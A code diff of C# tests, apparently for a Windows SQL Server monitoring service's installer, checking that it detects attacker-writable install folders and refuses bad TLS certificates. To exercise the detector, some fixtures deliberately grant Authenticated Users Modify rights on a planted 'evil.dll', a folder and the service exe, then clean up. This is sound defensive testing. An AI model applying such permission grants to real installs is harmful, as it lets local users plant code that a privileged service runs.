+    /// registered (deleted) or logs on as another account. Only the findings that are not the service's own
+    /// remain: a root write grant still refuses, and on its own it is the ONLY line. Without the derived service
+    /// SID (the old trust call, no service name) the same tree lists every service-owned object.
+    /// </summary>
+    [Fact]
+    public void ThePreLockTrustedSet_TrustsTheProductsOwnServiceSid_RegisteredOrNot_ButStillRefusesARootWrite()
+    {
+        var probe = ServiceOwnedTreeProbe();
+        probe.AppendLine("""
+            try {
+                # No root write grant: the service-owned tree is clean whatever the service's state.
+                Show 'deleted' $null $null
+                Show 'otherLogon' $registered 'NT AUTHORITY\LOCAL SERVICE'
+                Show 'virtual' $registered "NT SERVICE\$serviceName"
+
+                # A root write grant (the folder was made under C:\) is the one real finding, and the only one.
+                $script:rootWriter = $script:authSid
+                Show 'rootWriteDeleted' $null $null
+                Show 'rootWriteOtherLogon' $registered 'NT AUTHORITY\LOCAL SERVICE'
+                Show 'rootWriteVirtual' $registered "NT SERVICE\$serviceName"
+                $script:rootWriter = $null
+
+                # The derived SID is the one Windows gives a registered service of that name.
+                $derived = @(Get-DarlingServiceSids $null 'Winmgmt') | Where-Object { $_ -eq $script:otherSid }
+                'derivedMatchesWindows=' + (@($derived).Count -eq 1)
+
+                # The old call shape, with no service name: the false findings come back.
+                $old = @(Get-UntrustedWriteGrantees $script:root @(Get-DarlingPreLockTrustedSids) -Recurse)
+                # (Windows names the owner only while the service is registered, so the finding may carry the raw SID.)
+                'oldShape.hasServiceOwned=' + (@($old | Where-Object { $_ -like '*owned by*' -and ($_ -like '*PerformanceMonitor Darling*' -or $_ -like '*944500918*') }).Count -gt 0)
+            }
+            finally {
+                Remove-Item -LiteralPath $script:root -Recurse -Force -ErrorAction SilentlyContinue
+            }
+            """);
+
+        var answers = RunServiceOwnedTreeProbe(probe);
+
+        Assert.Contains("deleted.count=0", answers);
+        Assert.Contains("otherLogon.count=0", answers);
+        Assert.Contains("virtual.count=0", answers);
+
+        foreach (var label in new[] { "rootWriteDeleted", "rootWriteOtherLogon", "rootWriteVirtual" })
+        {
+            Assert.Contains($"{label}.count=1", answers);
+            Assert.Contains(answers, a => a.StartsWith($"{label}.text=", StringComparison.Ordinal)
+                && a.Contains("Authenticated Users on <root>", StringComparison.Ordinal)
+                && !a.Contains("owned by", StringComparison.Ordinal));
+        }
+
+        Assert.Contains("oldShape.hasServiceOwned=True", answers);
+        Assert.Contains("derivedMatchesWindows=True", answers);
+    }
+
+    /// <summary>
+    /// #5627, the 3.9.0-to-dev shapes: a LOCKED tree (no root write grant) whose pg-runtime the service owns and
+    /// holds Modify on, re-run with the service on its virtual account, on another logon account, and deleted.
+    /// Passes in all three. The other-logon case holds the grant under that other account, as the lock gives it.
+    /// </summary>
+    [Fact]
+    public void ThePreLockTrustedSet_PassesALockedTreeTheServiceOwns_OnTheVirtualAccount_AnotherLogon_AndDeleted()
+    {
+        var probe = ServiceOwnedTreeProbe();
+        probe.AppendLine("""
+            try {
+                Show 'virtual' $registered "NT SERVICE\$serviceName"
+                $script:serviceAce = $script:localServiceSid
+                Show 'otherLogon' $registered 'NT AUTHORITY\LOCAL SERVICE'
+                $script:serviceAce = $script:serviceSid
+                Show 'deleted' $null $null
+            }
+            finally {
+                Remove-Item -LiteralPath $script:root -Recurse -Force -ErrorAction SilentlyContinue
+            }
+            """);
+
+        var answers = RunServiceOwnedTreeProbe(probe);
+
+        Assert.Contains("virtual.count=0", answers);
+        Assert.Contains("otherLogon.count=0", answers);
+        Assert.Contains("deleted.count=0", answers);
+    }
+
+    /// <summary>
+    /// #5627: trusting OUR service's SID must not trust any other service's. A tree whose pg-runtime is owned by a
+    /// different <c>NT SERVICE\</c> account is still listed, by that account's name and not by ours, with the
+    /// service registered or not.
+    /// </summary>
+    [Fact]
+    public void ThePreLockTrustedSet_StillRefusesATreeOwnedByADifferentServiceSid()
+    {
+        var probe = ServiceOwnedTreeProbe();
+        probe.AppendLine("""
+            try {
+                $script:runtimeOwner = $script:otherSid
+                $script:serviceAce = $script:otherSid
+                Show 'otherOwnerDeleted' $null $null
+                Show 'otherOwnerRegistered' $registered "NT SERVICE\$serviceName"
+            }
+            finally {
+                Remove-Item -LiteralPath $script:root -Recurse -Force -ErrorAction SilentlyContinue
+            }
+            """);
+
+        var answers = RunServiceOwnedTreeProbe(probe);
+
+        foreach (var label in new[] { "otherOwnerDeleted", "otherOwnerRegistered" })
+        {
+            Assert.DoesNotContain($"{label}.count=0", answers);
+            Assert.Contains(answers, a => a.StartsWith($"{label}.text=", StringComparison.Ordinal)
+                && a.Contains("owned by NT SERVICE\\WinMgmt", StringComparison.OrdinalIgnoreCase)
+                && !a.Contains("PerformanceMonitor Darling", StringComparison.Ordinal));
+        }
+    }
+
+    /// <summary>
+    /// #5627: the service's own account is trusted as owner only in the folders and files it writes (pg-runtime,
+    /// pg-runtime-prev, darling-keys when it is a listed folder, darling.json and its backups) and as a write grantee
+    /// there only. A file it owns anywhere else (the install folder, beside the service exe, in another folder)
+    /// is named, with the service deleted, on another logon, or on its virtual account. One it owns inside the
+    /// listed places passes.
+    /// </summary>
+    [Fact]
+    public void ThePreLockTrustedSet_TrustsTheServiceAccountOnlyWhereTheServiceWrites()
+    {
+        var probe = ServiceOwnedTreeProbe();
+        probe.AppendLine("""
+            try {
+                # Inside the list: the service owns the config, its backup and the key folder's file. Clean.
+                $script:serviceOwned = @('darling.json', 'darling.json.bak-20260101-120000', 'darling-keys', 'darling-keys\log-hash.key')
+                Show 'listedDeleted' $null $null
+                Show 'listedOtherLogon' $registered 'NT AUTHORITY\LOCAL SERVICE'
+                Show 'listedVirtual' $registered "NT SERVICE\$serviceName"
+
+                # Outside the list: beside the service exe, and in another folder. Each is named, in every service state.
+                $script:serviceOwned = @('PerformanceMonitor.Darling.Service.exe', 'other\tool.dll')
+                Show 'outsideDeleted' $null $null
+                Show 'outsideOtherLogon' $registered 'NT AUTHORITY\LOCAL SERVICE'
+                Show 'outsideVirtual' $registered "NT SERVICE\$serviceName"
+
+                # The install folder itself owned by the service is named too.
+                $script:serviceOwned = @('')
+                Show 'rootOwnedVirtual' $registered "NT SERVICE\$serviceName"
+
+                # The key folder counts only when Get-DarlingExtraServiceWriteDirectories returned it (a managed install
+                # does not), the same list the lock is handed: otherwise it is named like any other folder.
+                $script:serviceDirs = @()
+                $script:serviceOwned = @('darling-keys', 'darling-keys\log-hash.key')
+                Show 'keysUnlistedDeleted' $null $null
+                Show 'keysUnlistedVirtual' $registered "NT SERVICE\$serviceName"
+            }
+            finally {
+                Remove-Item -LiteralPath $script:root -Recurse -Force -ErrorAction SilentlyContinue
+            }
+            """);
+
+        var answers = RunServiceOwnedTreeProbe(probe);
+
+        foreach (var label in new[] { "listedDeleted", "listedOtherLogon", "listedVirtual" })
+        {
+            Assert.Contains($"{label}.count=0", answers);
+        }
+
+        foreach (var label in new[] { "outsideDeleted", "outsideOtherLogon", "outsideVirtual" })
+        {
+            Assert.Contains($"{label}.count=2", answers);
+            Assert.Contains(answers, a => a.StartsWith($"{label}.text=", StringComparison.Ordinal)
+                && a.Contains("<root>\\PerformanceMonitor.Darling.Service.exe (owned by", StringComparison.Ordinal)
+                && a.Contains("<root>\\other\\tool.dll (owned by", StringComparison.Ordinal));
+        }
+
+        Assert.Contains("keysUnlistedDeleted.count=2", answers);
+        Assert.Contains("keysUnlistedVirtual.count=2", answers);
+        Assert.Contains("rootOwnedVirtual.count=1", answers);
+        Assert.Contains(answers, a => a.StartsWith("rootOwnedVirtual.text=<root> (owned by", StringComparison.Ordinal));
     }
 
     /// <summary>
@@ -604,6 +1410,7 @@ public void ThePreLockWritableExtractionCheck_CatchesAnInheritedGrant_AndIsSilen
         probe.AppendLine(ExtractFunction(InstallScript, "Resolve-DarlingServiceAccountSid"));
         probe.AppendLine(ExtractFunction(InstallScript, "Get-LocalAdministratorsDirectMemberSids"));
         probe.AppendLine(ExtractFunction(InstallScript, "Get-DarlingPreLockTrustedSids"));
+        probe.AppendLine(ConfirmProbeAclFunction);
         probe.AppendLine("""
             $ErrorActionPreference = 'Stop'
             $root = Join-Path ([IO.Path]::GetPathRoot([Environment]::SystemDirectory)) ('pm4043-test-' + [guid]::NewGuid().ToString('N').Substring(0, 8))
@@ -622,6 +1429,7 @@ public void ThePreLockWritableExtractionCheck_CatchesAnInheritedGrant_AndIsSilen
                 $c.SetAccessRuleProtection($true, $false)
                 foreach ($s in $trusted) { $c.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($s, 'FullControl', 'ContainerInherit, ObjectInherit', 'None', 'Allow'))) }
                 Set-Acl -LiteralPath $root -AclObject $c
+                Confirm-ProbeAcl 'rootHardened' $root $null @($trusted)
                 'lockedDownCount=' + @(Get-UntrustedWriteGrantees $root $trusted).Count
 
                 # Phase 3: root stays clean, but the SERVICE EXE ALONE carries a broad grant - must still fire,
@@ -633,6 +1441,7 @@ public void ThePreLockWritableExtractionCheck_CatchesAnInheritedGrant_AndIsSilen
                 foreach ($s in $trusted) { $x.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($s, 'FullControl', 'Allow'))) }
                 $x.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($auth, 'Modify', 'Allow')))
                 Set-Acl -LiteralPath "$root\svc.exe" -AclObject $x
+                Confirm-ProbeAcl 'exeGrantsAuthenticatedUsers' "$root\svc.exe" $null @($auth)
                 $exeFound = @(Get-UntrustedWriteGrantees "$root\svc.exe" $trusted)
                 'exeOnlyCount=' + $exeFound.Count
                 'exeNamesAuthUsers=' + (($exeFound -join ';') -match 'Authenticated Users')
@@ -651,6 +1460,7 @@ public void ThePreLockWritableExtractionCheck_CatchesAnInheritedGrant_AndIsSilen
             """);
 
         var answers = RunWindowsPowerShell(probe.ToString());
+        AssertProbeSetupTook(answers);
 
         var inherited = int.Parse(answers.Find(a => a.StartsWith("inheritedCount=", StringComparison.Ordinal))!.Substring("inheritedCount=".Length));
         Assert.True(inherited > 0, "a folder made directly under the system drive root must inherit at least one write grant outside SYSTEM/Administrators/TrustedInstaller/the admin - if this box's C:\\ no longer grants one, the pre-lock check has nothing to prove here: " + string.Join(" | ", answers));
@@ -691,6 +1501,7 @@ public void ThePreLockWritableExtractionCheck_IsSilentOnRealInheritOnlyTemplates
         probe.AppendLine(ExtractFunction(InstallScript, "Resolve-DarlingServiceAccountSid"));
         probe.AppendLine(ExtractFunction(InstallScript, "Get-LocalAdministratorsDirectMemberSids"));
         probe.AppendLine(ExtractFunction(InstallScript, "Get-DarlingPreLockTrustedSids"));
+        probe.AppendLine(ConfirmProbeAclFunction);
         probe.AppendLine("""
             $ErrorActionPreference = 'Stop'
 
@@ -756,6 +1567,7 @@ public void ThePreLockWritableExtractionCheck_IsSilentOnRealInheritOnlyTemplates
                     $sec.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($sid, 'FullControl', 'ContainerInherit, ObjectInherit', 'InheritOnly', 'Allow')))
                 }
                 Set-Acl -LiteralPath $tRoot -AclObject $sec
+                Confirm-ProbeAcl 'templateAces' $tRoot $null @($templates | ForEach-Object { New-Object System.Security.Principal.SecurityIdentifier($_, $null) })
                 'caseC_count=' + @(Get-UntrustedWriteGrantees $tRoot $trusted).Count
             }
             finally {
@@ -765,6 +1577,7 @@ public void ThePreLockWritableExtractionCheck_IsSilentOnRealInheritOnlyTemplates
             """);
 
         var answers = RunWindowsPowerShell(probe.ToString());
+        AssertProbeSetupTook(answers);
 
         Assert.Contains("caseA_fixedCount=0", answers);
         var oldCount = int.Parse(answers.Find(a => a.StartsWith("caseA_oldCount=", StringComparison.Ordinal))!.Substring("caseA_oldCount=".Length));
@@ -802,6 +1615,8 @@ public void ThePreLockWritableExtractionCheck_TrustsTheAccountTheLockItselfGrant
         probe.AppendLine(ExtractFunction(InstallScript, "Resolve-DarlingServiceAccountSid"));
         probe.AppendLine(ExtractFunction(InstallScript, "Get-LocalAdministratorsDirectMemberSids"));
         probe.AppendLine(ExtractFunction(InstallScript, "Get-DarlingPreLockTrustedSids"));
+        probe.AppendLine(ExtractFunction(InstallScript, "Get-DarlingServiceSids"));
+        AppendServiceWrittenList(probe, InstallScript);
         probe.AppendLine(ExtractFunction(InstallScript, "Lock-DarlingInstallTree"));
         probe.AppendLine("""
             $ErrorActionPreference = 'Stop'
@@ -816,8 +1631,8 @@ public void ThePreLockWritableExtractionCheck_TrustsTheAccountTheLockItselfGrant
                 'withoutAccountCount=' + @(Get-UntrustedWriteGrantees $root $withoutAccount -Recurse).Count
                 'rootOnlyWithoutAccountCount=' + @(Get-UntrustedWriteGrantees $root $withoutAccount).Count
 
-                $withAccount = Get-DarlingPreLockTrustedSids 'NT AUTHORITY\LOCAL SERVICE'
-                'withAccountCount=' + @(Get-UntrustedWriteGrantees $root $withAccount -Recurse).Count
+                $serviceSids = @(Get-DarlingServiceSids 'NT AUTHORITY\LOCAL SERVICE' $null)
+                'withAccountCount=' + @(Get-UntrustedWriteGrantees $root $withoutAccount -Recurse -ServiceSids $serviceSids).Count
             }
             finally {
                 if (Test-Path -LiteralPath $root) {
@@ -963,6 +1778,7 @@ public void ThePreLockWritableExtractionCheck_Recurses_AndCatchesAChildTheRootDo
         probe.AppendLine(ExtractFunction(InstallScript, "Get-DarlingPreLockTrustedSids"));
         probe.AppendLine(ExtractFunction(InstallScript, "Get-LocalAdministratorsDirectMemberSids"));
         probe.AppendLine(ExtractFunction(InstallScript, "Resolve-DarlingServiceAccountSid"));
+        probe.AppendLine(ConfirmProbeAclFunction);
         probe.AppendLine("""
             $ErrorActionPreference = 'Stop'
             $root = Join-Path $env:TEMP ('pm4043-m2-' + [guid]::NewGuid().ToString('N').Substring(0, 8))
@@ -981,6 +1797,8 @@ public void ThePreLockWritableExtractionCheck_Recurses_AndCatchesAChildTheRootDo
                 foreach ($s in $trusted) { $rootSec.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($s, 'FullControl', 'ContainerInherit, ObjectInherit', 'None', 'Allow'))) }
                 Set-Acl -LiteralPath $root -AclObject $rootSec
                 Set-Acl -LiteralPath "$root\clean" -AclObject $rootSec
+                Confirm-ProbeAcl 'rootHardened' $root $null @($trusted)
+                Confirm-ProbeAcl 'cleanChildHardened' "$root\clean" $null @($trusted)
                 icacls.exe "$root\clean\a.txt" /reset /Q 2>&1 | Out-Null
 
                 # Explicit write grant to Authenticated Users on a child file, root untouched.
@@ -989,6 +1807,7 @@ public void ThePreLockWritableExtractionCheck_Recurses_AndCatchesAChildTheRootDo
                 foreach ($s in $trusted) { $fileSec.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($s, 'FullControl', 'Allow'))) }
                 $fileSec.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($auth, 'Modify', 'Allow')))
                 Set-Acl -LiteralPath "$root\owned\evil.dll" -AclObject $fileSec
+                Confirm-ProbeAcl 'evilGrantsAuthenticatedUsers' "$root\owned\evil.dll" $null @($auth)
 
                 # A junction below the root - never descended, but reported on sight.
                 & cmd.exe /c mklink /J "$root\link" "$root\clean" | Out-Null
@@ -1010,6 +1829,7 @@ public void ThePreLockWritableExtractionCheck_Recurses_AndCatchesAChildTheRootDo
             """);
 
         var answers = RunWindowsPowerShell(probe.ToString());
+        AssertProbeSetupTook(answers);
 
         Assert.Contains("cleanTreeOnlyCount=0", answers);
         var full = int.Parse(answers.Find(a => a.StartsWith("fullTreeCount=", StringComparison.Ordinal))!.Substring("fullTreeCount=".Length));
@@ -1232,7 +2052,7 @@ public void TheSha256SumsSidecarIsReadOnlyAfterItsFolderPassesTheRecursiveCheck(
         var upgrade = ReadRepoFile(Path.Combine("Darling", "tools", "upgrade-darling.ps1"));
         const string read = "Get-Content -LiteralPath $sums";
 
-        var check = upgrade.IndexOf("$sumsFolderWritable = @(Get-UntrustedWriteGrantees $sourceRoot $preLockTrusted -Recurse)", StringComparison.Ordinal);
+        var check = upgrade.IndexOf("$sumsFolderWritable = @(Get-UntrustedWriteGrantees $sourceRoot $sourceTrusted -Recurse)", StringComparison.Ordinal);
         Assert.True(check >= 0, "upgrade-darling.ps1 no longer checks the folder SHA256SUMS.txt sits in (#4043 round-1 review, H1)");
         var refuse = upgrade.IndexOf("if ($sumsFolderWritable.Count -gt 0) {", check, StringComparison.Ordinal);
         Assert.True(refuse > check, "the SHA256SUMS.txt folder check no longer refuses on a finding");
@@ -1265,7 +2085,7 @@ public void TheWritableTreeCheck_RunsBeforeEitherScriptChangesAnything()
         AssertRunsFirst(
             InstallScript,
             "install-darling.ps1",
-            "$writable = @(Get-UntrustedWriteGrantees $root $preLockTrusted -Recurse)",
+            "$writable = @(Get-UntrustedWriteGrantees $root $preLockTrusted.Trusted -Recurse -ServiceSids $preLockTrusted.ServiceSids -ServiceDirectories",
             new[]
             {
                 ("Invoke-InstallTreeLock $lockAccount -StopOnOpen", "the step 1b2 install-tree lock"),
@@ -1280,7 +2100,7 @@ public void TheWritableTreeCheck_RunsBeforeEitherScriptChangesAnything()
         AssertRunsFirst(
             ReadRepoFile(Path.Combine("Darling", "tools", "upgrade-darling.ps1")),
             "upgrade-darling.ps1",
-            "$writable = @(Get-UntrustedWriteGrantees $InstallRoot $preLockTrusted -Recurse)",
+            "$writable = @(Get-UntrustedWriteGrantees $InstallRoot $preLockTrusted.Trusted -Recurse -ServiceSids $preLockTrusted.ServiceSids -ServiceDirectories",
             new[]
             {
                 ("$zipStagingFolder = New-DarlingProtectedStagingFolder", "creating the zip staging folder"),
@@ -1319,7 +2139,9 @@ static void AssertRunsFirst(string script, string scriptName, string check, (str
     public void TheInstallTreeLock_ClosesTheInheritedGrant_KeepsProtectedFiles_AndReportsWhatItCannotClose()
     {
         var probe = new StringBuilder();
+        AppendServiceWrittenList(probe, InstallScript);
         probe.AppendLine(ExtractFunction(InstallScript, "Lock-DarlingInstallTree"));
+        probe.AppendLine(ConfirmProbeAclFunction);
         probe.AppendLine("""
             $ErrorActionPreference = 'Stop'
             $root = Join-Path ([IO.Path]::GetPathRoot([Environment]::SystemDirectory)) ('pm4034-test-' + [guid]::NewGuid().ToString('N').Substring(0, 8))
@@ -1347,6 +2169,7 @@ public void TheInstallTreeLock_ClosesTheInheritedGrant_KeepsProtectedFiles_AndRe
                 foreach ($s in @($system, $admins, $service)) { $j.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($s, 'FullControl', 'Allow'))) }
                 $j.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($interactive, 'Read', 'Allow')))
                 Set-Acl -LiteralPath "$root\darling.json" -AclObject $j
+                Confirm-ProbeAcl 'configAces' "$root\darling.json" $null @($system, $admins, $service, $interactive)
                 # #4038 round 2's High: a child an ordinary user owns and grants to itself behind its own
                 # protection, as one who re-created it while an older install was open would leave it.
                 $p = New-Object System.Security.AccessControl.DirectorySecurity
@@ -1354,10 +2177,12 @@ public void TheInstallTreeLock_ClosesTheInheritedGrant_KeepsProtectedFiles_AndRe
                 $p.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($me, 'FullControl', 'ContainerInherit, ObjectInherit', 'None', 'Allow')))
                 $p.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($auth, 'Modify', 'ContainerInherit, ObjectInherit', 'None', 'Allow')))
                 Set-Acl -LiteralPath "$root\planted" -AclObject $p
+                Confirm-ProbeAcl 'plantedAces' "$root\planted" $null @($me, $auth)
                 $x = New-Object System.Security.AccessControl.FileSecurity
                 $x.SetAccessRuleProtection($true, $false)
                 $x.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($me, 'FullControl', 'Allow')))
                 Set-Acl -LiteralPath "$root\svc.exe" -AclObject $x
+                Confirm-ProbeAcl 'exeAce' "$root\svc.exe" $null @($me)
                 # A junction inside the tree (to the tree's own pg-runtime, so cleanup never leaves it).
                 & cmd.exe /c mklink /J "$root\planted-junction" "$root\pg-runtime" | Out-Null
 
@@ -1430,6 +2255,7 @@ function Untrusted($path) { @((Get-Acl -LiteralPath $path).GetAccessRules($true,
             """);
 
         var answers = RunWindowsPowerShell(probe.ToString());
+        AssertProbeSetupTook(answers);
 
         Assert.Contains("phase1Protected=True", answers);
         Assert.Contains("phase1Service=0", answers);
@@ -1498,6 +2324,16 @@ there is no ACL to read and this probe never emits the line at all. */
         Assert.Contains("jsonInteractive=Read, Synchronize", answers);
     }
 
+    /// <summary>Adds the shared service-written list and its path test to a probe, the way the scripts define them
+    /// (the lock and the pre-lock walk both read them).</summary>
+    private static void AppendServiceWrittenList(StringBuilder probe, string script)
+    {
+        foreach (var name in new[] { "Get-DarlingServiceWrittenNames", "Test-DarlingServiceWrittenFileName", "Test-PathIsAtOrUnder", "Test-DarlingServiceWrittenPath" })
+        {
+            probe.AppendLine(ExtractFunction(script, name));
+        }
+    }
+
     /// <summary>The #4034 block, its explaining comment included, exactly as a script ships it.</summary>
     private static string InstallTreeLockBlock(string script)
     {
diff --git a/Darling/Darling.Tests/DarlingListenerTlsTests.cs b/Darling/Darling.Tests/DarlingListenerTlsTests.cs
new file mode 100644
index 0000000000..0941e46b42
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingListenerTlsTests.cs
@@ -0,0 +1,1041 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.Security;
+using System.Net.Sockets;
+using System.Security.Authentication;
+using System.Security.Cryptography;
+using System.Security.AccessControl;
+using System.Security.Cryptography.X509Certificates;
+using System.Security.Principal;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Hosting.Server;
+using Microsoft.AspNetCore.Hosting.Server.Features;
+using Microsoft.AspNetCore.Server.Kestrel.Https;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Hosting;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5288: the TLS start path both network listeners share. The web host's block moved into
+/// DarlingListenerTls.Resolve, so these tests pin what moved (the web texts, character for character), what the MCP
+/// host will lean on (the three-outcome fail-closed invariant, the published state, the certificate ownership), and
+/// the two pieces that are new (the dNSName SAN check and the shared HTTPS options body).
+/// </summary>
+public sealed class DarlingListenerTlsTests
+{
+    private static readonly IPAddress Listen = IPAddress.Parse("192.168.1.205");
+    private const int Port = 5153;
+
+    /* ---- the Resolve arms, under the MCP labels (the web's texts are pinned whole further down) ---- */
+
+    [Fact]
+    public void Resolve_Invalid_Refuses_LogsCritical()
+    {
+        var block = new WebTlsConfig { PfxPath = "/certs/a.pfx", CertPath = "/certs/a.crt", KeyPath = "/certs/a.key" };
+        var log = new RecordingLogger();
+        var state = new McpTlsCertificateState();
+
+        var outcome = DarlingListenerTls.Resolve(log, state, ListenerTlsLabels.Mcp, block, Listen, Port, null);
+
+        Assert.False(outcome.Expose);
+        Assert.Null(outcome.Certificate);
+        Assert.Equal(DarlingWebTls.TlsShape.Invalid, outcome.Shape);
+        Assert.Equal(
+            "MCP server TLS is misconfigured (" + DarlingWebTls.Describe(block, "mcp").Problem
+            + ") — refusing to expose; binding loopback-only.",
+            Assert.Single(log.At(LogLevel.Critical)));
+        Assert.Null(state.Read());
+    }
+
+    [Fact]
+    public void Resolve_LoadFailure_RefusesAndPublishesTheLoadRefusal()
+    {
+        using var temp = new TempDir();
+        var absent = Path.Combine(temp.Path, "absent.pfx");
+        var state = new McpTlsCertificateState();
+        state.Publish(DateTimeOffset.UtcNow, DateTimeOffset.UtcNow.AddDays(9), "CN=old", "AA", refusedNotYetValid: false);
+        var log = new RecordingLogger();
+
+        var outcome = DarlingListenerTls.Resolve(
+            log, state, ListenerTlsLabels.Mcp, new WebTlsConfig { PfxPath = absent }, Listen, Port, null);
+
+        Assert.False(outcome.Expose);
+        Assert.Null(outcome.Certificate);
+
+        /* #5288: the earlier snapshot is replaced by the host's load-refusal verdict, not cleared: a cleared state
+           reads as "no certificate to watch", which is healthy. */
+        var published = state.Read();
+        Assert.NotNull(published);
+        Assert.Equal(
+            $"mcp.network.tls.pfxPath '{absent}' does not exist or is not readable", published!.LoadRefusal);
+        Assert.Equal(string.Empty, published.Thumbprint);
+        Assert.Equal(
+            $"MCP server TLS certificate could not be loaded (mcp.network.tls.pfxPath '{absent}' does not exist or is not readable)"
+            + " — refusing to expose; binding loopback-only.",
+            Assert.Single(log.At(LogLevel.Critical)));
+    }
+
+    [Fact]
+    public void Resolve_Expired_RefusesAndPublishes()
+    {
+        using var temp = new TempDir();
+        using var cert = Make("expired", DateTimeOffset.UtcNow.AddDays(-30), DateTimeOffset.UtcNow.AddDays(-1));
+        var state = new McpTlsCertificateState();
+        var log = new RecordingLogger();
+
+        var outcome = DarlingListenerTls.Resolve(
+            log, state, ListenerTlsLabels.Mcp, WritePfx(temp, cert), Listen, Port, null);
+
+        Assert.False(outcome.Expose);
+        Assert.Null(outcome.Certificate);
+        var published = state.Read();
+        Assert.NotNull(published);
+        Assert.False(published!.RefusedNotYetValid);
+        Assert.Equal(cert.Thumbprint, published.Thumbprint);
+        Assert.Equal(new DateTimeOffset(cert.NotAfter.ToUniversalTime()), published.NotAfterUtc);
+        Assert.Contains("TLS certificate cannot be used (the certificate expired on ", Assert.Single(log.At(LogLevel.Critical)), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Resolve_NotYetValid_PublishesRefusedFlag()
+    {
+        using var temp = new TempDir();
+        using var cert = Make("future", DateTimeOffset.UtcNow.AddDays(2), DateTimeOffset.UtcNow.AddDays(40));
+        var state = new McpTlsCertificateState();
+        var log = new RecordingLogger();
+
+        var outcome = DarlingListenerTls.Resolve(
+            log, state, ListenerTlsLabels.Mcp, WritePfx(temp, cert), Listen, Port, null);
+
+        Assert.False(outcome.Expose);
+        Assert.Null(outcome.Certificate);
+        Assert.True(state.Read()!.RefusedNotYetValid);
+        Assert.StartsWith("MCP server TLS certificate cannot be used (the certificate is not valid until ", Assert.Single(log.At(LogLevel.Critical)), StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("web")]
+    [InlineData("mcp")]
+    public void Resolve_NotConfigured_WarnsCleartext_ExposesWithoutCertificate(string section)
+    {
+        var labels = section == "web" ? ListenerTlsLabels.Web : ListenerTlsLabels.Mcp;
+
+        /* Only an ABSENT block is plain HTTP. A block that is present but sets none of its keys is refused
+           (Resolve_TypoedTlsBlock_RefusesToExpose). */
+        var log = new RecordingLogger();
+        var state = new WebTlsCertificateState();
+
+        var outcome = DarlingListenerTls.Resolve(log, state, labels, null, Listen, Port, null);
+
+        Assert.True(outcome.Expose);
+        Assert.Null(outcome.Certificate);
+        Assert.Equal(DarlingWebTls.TlsShape.NotConfigured, outcome.Shape);
+        Assert.False(outcome.ExposesWithoutItsCertificate);
+        Assert.Null(state.Read());
+        Assert.Equal(DarlingListenerTls.CleartextWarning(labels), Assert.Single(log.At(LogLevel.Warning)));
+
+        Assert.Equal(
+            section == "web"
+                ? "Web dashboard is LAN-exposed WITHOUT TLS — the access token and its session cookie cross the segment in the clear, and web.network.allowFrom bounds only who can route to the port. Configure web.network.tls (a PKCS#12 bundle or a PEM pair), or front the port with a TLS-terminating reverse proxy."
+                : "MCP server is LAN-exposed WITHOUT TLS: the bearer token and every tool result cross the segment in the clear, and mcp.network.allowFrom bounds only who can route to the port. Configure mcp.network.tls (a PKCS#12 bundle or a PEM pair), or front the port with a TLS-terminating reverse proxy.",
+            DarlingListenerTls.CleartextWarning(labels));
+    }
+
+    /// <summary>
+    /// #5288: a <c>tls</c> block whose keys the config reader does not know parses to an all-blank block, and an
+    /// all-blank block is not plain HTTP: the listener is refused (loopback-only, Critical line) rather than
+    /// exposed with no certificate and a cleartext warning. Real JSON, so the skipped-key path is the one under test.
+    /// </summary>
+    [Theory]
+    [InlineData("web")]
+    [InlineData("mcp")]
+    public void Resolve_TypoedTlsBlock_RefusesToExpose(string section)
+    {
+        var labels = section == "web" ? ListenerTlsLabels.Web : ListenerTlsLabels.Mcp;
+        foreach (var json in new[]
+        {
+            @"{ ""cert"": ""/run/secrets/tls_cert"", ""key"": ""/run/secrets/tls_key"" }",
+            @"{ ""pfx_path"": ""/certs/a.pfx"" }",
+            "{}",
+        })
+        {
+            var block = DarlingWebTlsTests.ParseTlsBlock(section, json);
+            Assert.NotNull(block);
+            var log = new RecordingLogger();
+            var state = new WebTlsCertificateState();
+
+            var outcome = DarlingListenerTls.Resolve(log, state, labels, block, Listen, Port, null);
+
+            Assert.False(outcome.Expose);
+            Assert.Null(outcome.Certificate);
+            Assert.Equal(DarlingWebTls.TlsShape.Invalid, outcome.Shape);
+            Assert.False(outcome.ExposesWithoutItsCertificate);
+            Assert.Null(state.Read());
+            Assert.Empty(log.At(LogLevel.Warning));
+            Assert.Equal(
+                $"{labels.Surface} TLS is misconfigured ({section}.network.tls is present but sets none of pfxPath, certPath or keyPath. "
+                + "Check the key names, or remove the block for plain HTTP.) — refusing to expose; binding loopback-only.",
+                Assert.Single(log.At(LogLevel.Critical)));
+        }
+    }
+
+    /* ---- the web's texts, whole, exactly as the web host logged them before the block moved ---- */
+
+    [Fact]
+    public void Resolve_WebLabels_RenderTodaysExactTexts()
+    {
+        using var temp = new TempDir();
+        string U(DateTime t) => t.ToUniversalTime().ToString("u", CultureInfo.InvariantCulture);
+
+        // Invalid.
